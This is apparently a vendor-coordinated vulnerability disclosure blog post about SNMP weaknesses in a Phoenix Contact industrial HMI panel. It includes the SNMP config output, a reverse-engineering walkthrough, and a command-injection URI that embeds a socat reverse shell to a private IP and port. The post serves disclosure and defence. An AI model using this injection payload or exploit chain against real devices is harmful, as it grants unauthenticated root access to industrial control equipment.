Protecting the Phoenix: Unveiling Critical Vulnerabilities in Phoenix Contact HMI – Part 3

Protecting the Phoenix: Unveiling Critical Vulnerabilities in Phoenix Contact HMI – Part 3

In the first blog of this three-part series, we publicly disclosed the 14 vulnerabilities we discovered in the Phoenix Contact Web Panel 6121-WXPS device (firmware version 3.1.7). Then, we published a second blog describing the technical details of the process we followed to analyze and exploit the HTTPS service to execute OS commands on the underlying Linux operating system.

In this third and final part, we are going to drill down into the process we followed to analyze and exploit all the vulnerabilities that affect the SNMP protocol. Specifically, we’re going to show how an attacker can chain all these issues to get an administrative shell without authentication. It’s important to highlight that this service is enabled by default on the Phoenix Contact WP 6121-WXPS and no custom or specific configuration is required to exploit the weaknesses we found.

In response to the issues we found, Phoenix Contact produced a new firmware release (v4.0.10) that addresses all the reported vulnerabilities and asserted that these issues affect not only the 6121-WXPS device but the whole WP6000 product family.

Key Takeaways

The Phoenix Contact WP 6121-WXPS uses the SNMP protocol not only to monitor the device but also to trigger a remote firmware update. This functionality is implemented through a custom shared library and its specifications are stored inside the MIB file provided by the vendor.

We identified several issues regarding this protocol:

  • CVE-2023-37860: Leveraging a non-authenticated API exposed by the HTTPS web service, it’s possible to retrieve both “read” and “write” community strings that are used by the SNMPv2 protocol as authentication mechanism.
  • CVE-2023-37859: We identified that the SNMP service (i.e., Net-SNMP) is executed with root privileges and the “NET-SNMP-EXTENDED-MIB" extension MIB it's loaded. This functionality could be abused to execute arbitrary shell scripts through the SNMP agent.
  • CVE-2023-37863: We discovered that the firmware update functionality is subject to an “OS Command Injection” vulnerability.
  • By chaining the previous issues, a remote attacker can get an administrative shell without authentication.

Since the SNMPv2 service parameters could be configured through the device’s HTTPS service, we started evaluating its security posture.

Figure 1. Web page used to configure SNMP service parameters.

Vulnerability Research: CVE-2023-37860

First, we identified that the underlying "/api/operation/snmp" API, which is used to retrieve the actual SNMP configuration (e.g., read and write community strings), could be accessed by an unauthenticated user. As shown in the following screenshot, this API could be accessed even if the "connect.sid" session cookie is missing.

Figure 2. The API used to get SNMP configurations is not authenticated.

Vulnerability Research: CVE-2023-37859

Leveraging the access to the Linux shell through the SSH connection, we were able to identify details about the SNMPv2 network service.

Figure 3. Network services exposed by the target appliance.

As shown above, the SNMP process is executed with root privileges (i.e., UserID is set to 0). This behavior is also confirmed by looking at its configuration file:

browser@wp6000:~$ cat default_config/snmpd.conf | grep -v '#'

master  agentx

agentuser  root

agentgroup  root

agentaddress  161

rwuser  noauth

rouser  noauth

rocommunity  public

rwcommunity  private

syslocation

syscontact

Furthermore, we identified that the SNMP service (i.e., Net-SNMP) loaded the “NET-SNMP-EXTENDED-MIB" extension MIB. As already described by other security researchers ([1], [2]), this MIB could be abused by anyone who knows the write community string to execute arbitrary shell scripts through the SNMP agent. Because of the previously reported CVE-2023-37860 vulnerability, an attacker can retrieve the write community string without authentication and get an administrative shell with available open-source tools.

As shown below, leveraging this issue we were able to get a remote and administrative shell:

Figure 4. Root shell gained by exploiting SNMP protocol weaknesses.

Vulnerability Research: CVE-2023-37863

While browsing the Phoenix Contact product page, we located several firmware update images for our target device. Specifically, we found that the wp6000_snmp_complete_v3.1.7.zip firmware has this description: "The zip file contains the MIB and SNMP image files to remotely update the panels using SNMP."

Because firmware update functionality is not part of the standard SNMP protocol, we started investigating how this feature is implemented by the device. While analyzing the MIB file provided by Phoenix Contact (i.e., PXC-WP6K-MIB.mib), we identified that it uses three custom OID variables, each of them with a specific meaning:

  • pxcFirmwareUpgradeStatus: (Read-only) shows the result of the last firmware update.
  • pxcFirmwareUpgradeFileName: (Read/Write) is used for setting the URI of the FTP/SFTP server which hosts the firmware update file.
  • pxcFirmwareUpgradeAction: (Read/Write) is used to trigger the firmware update process.
Figure 5. Custom MIB file which contains the firmware update OIDs.

Furthermore, we located that inside the browser user’s home folder there is a directory named “snmp” which has the following content:

$ ls -lR home/browser/snmp

-rwxr-xr-x@ 1 gabriele.quagliarella  staff    66 Jun 28  2022 cleanup_fw.sh

-rwxr-xr-x@ 1 gabriele.quagliarella  staff  7717 Jun 28  2022 get_remote_fw.sh

-rwxr-xr-x@ 1 gabriele.quagliarella  staff  1919 Jun 28  2022 snmp_usb.sh

-rw-r--r--@ 1 gabriele.quagliarella  staff     2 Jun 28  2022 status.txt

As we can see from the following screenshot, the get_remote_fw.sh script is in charge of using the provided argument values as configuration parameters for the open ftp:// command that is executed to download the firmware update from a remote location.

Figure 6. The “get_remote_fw.sh” script that downloads the firmware update.

After this finding, we understood that the SNMP agent takes the URI provided through the pxcFirmwareUpgradeFileName OID, parses it and uses the extracted parameters necessary to connect through the FTP protocol (account, password, IP, etc.) as argument of the get_remote_fw.sh Bash script.

As an example, if the pxcFirmwareUpgradeFileName variable is set with the “ftp://root:root@192.168.1.1:1337/update/update.zip” URI, the SNMP agent parses it and extract the following values:

  • IP: 192.168.1.1
  • Port: 1337
  • Account: root
  • Password: root
  • Filepath: update/update.zip
  • Filename: update.zip
  • Filedirectory: update

Because this firmware update functionality is not part of the standard Net-SNMP project, it must be implemented in a custom shared library function, which is imported and used by the SNMP agent.

Leveraging this knowledge, we searched for the get_remote_fw string in all shared libraries located on the device filesystem and, as we can see from the following evidence, we located it in the /usr/lib/libnetsnmpmibs.so.35.0.0 library:

$ strings ./usr/lib/libnetsnmpmibs.so.35.0.0  | grep 'get_remote_fw'

/home/browser/snmp/get_remote_fw.sh %s %s %d %s %s %s %s %s

/home/browser/snmp/get_remote_fw.sh %s %s %d %s %s

The two previous format strings seemed very promising to us, so we started analyzing the libnetsnmpmibs.so.35.0.0 shared library. Even though the library is stripped, it exports several functions regarding the firmware update.

$ file usr/lib/libnetsnmpmibs.so.35.0.0

usr/lib/libnetsnmpmibs.so.35.0.0: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c2c391d4647de6ab57253a5a0ea73be9a7df1ce3, stripped

Figure 7. Exported functions related to the firmware update.

After reverse engineering these functions, we found that:

  • The write_pxcFirmwareUpdateFileName function is used for reading and parsing the pxcFirmwareUpgradeFileName OID SNMP variable. If a valid URI is provided then the function sets all the arguments necessary for connecting to the FTP/SFTP server (username, password, FTP address, etc.).
  • The write_pxcFirmwareUpdateAction function uses the previously parsed arguments to execute the /home/browser/snmp/get_remote_fw.sh Bash script.
Figure 8. The “write_pxcFirmwareUpdateAction” that executes the “get_remote_fw.sh” script.

As shown above, the Bash script is executed through the insecure standard C “popen” function. Leveraging this knowledge, we were able to craft a malicious URI which contains as filename a sub-shell command, such as the following one:

ftp://AAAA:BBBB@127.0.0.1:1337/CCCC/$({socat,tcp-connect:192.168.45.198:4444,exec:sh}).zip

After setting the malicious URI and triggering the firmware update process, the write_pxcFirmwareUpdateAction function uses /$({socat,tcp-connect:192.168.45.198:4444,exec:sh}).zip as file name of the firmware image.

Because of the malicious payload (i.e., Bash subshell), as soon as this value is used as argument of the “popen” function, an administrative shell is gained on the target WP 6121-WXPS device.

Figure 9. Administrative shell is gained on the target device.

Figure 10. Malicious URI is set on the SNMP server.

Conclusion

In this final blog about vulnerabilities discovered and disclosed for the Phoenix Contact HMI, we described the technical details about the weaknesses we discovered on the SNMP service, exposed by default on the Phoenix Contact WP 6121-WXPS. By chaining all the issues reported, we successfully achieved unauthenticated remote command execution on the target device.

Throughout the research process, Nozomi Networks Labs disclosed the details about most critical vulnerabilities they identified and reported to Phoenix Contact. We would like to thank Phoenix Contact PSIRT for their collaboration during our vulnerability disclosure process.